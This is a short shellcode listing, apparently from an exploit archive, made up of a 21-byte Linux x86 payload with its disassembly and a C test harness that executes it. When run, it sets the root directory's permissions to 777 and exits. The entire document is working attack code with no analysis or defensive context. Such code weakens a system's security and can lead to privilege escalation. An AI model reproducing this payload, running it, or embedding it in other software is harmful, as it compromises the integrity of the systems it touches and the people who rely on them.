21 bytes small chmod 777 / shellcode.
f084a88e9abaa409f286d6479e022b0cdd812c3a196ea7f9be00c6b654820eb5
#include <stdio.h>
/*
21 bytes chmod / 777
--srm
08048054 <_start>:
8048054: 31 c9 xor %ecx,%ecx
8048056: 51 push %ecx
8048057: b1 ff mov $0xff,%cl
8048059: b5 01 mov $0x1,%ch
804805b: 6a 2f push $0x2f
804805d: 89 e3 mov %esp,%ebx
804805f: 6a 0f push $0xf
8048061: 58 pop %eax
8048062: cd 80 int $0x80
8048064: 6a 01 push $0x1
8048066: 58 pop %eax
8048067: cd 80 int $0x80
*/
char code[] =
"\x31\xc9\x51\xb1\xff\xb5\x01\x6a\x2f\x89"
"\xe3\x6a\x0f\x58\xcd\x80\x6a\x01\x58\xcd\x80";
int main()
{
void (*f)();
f = (void *) code;
printf("%d\n", strlen(code));
f();
return 0;
}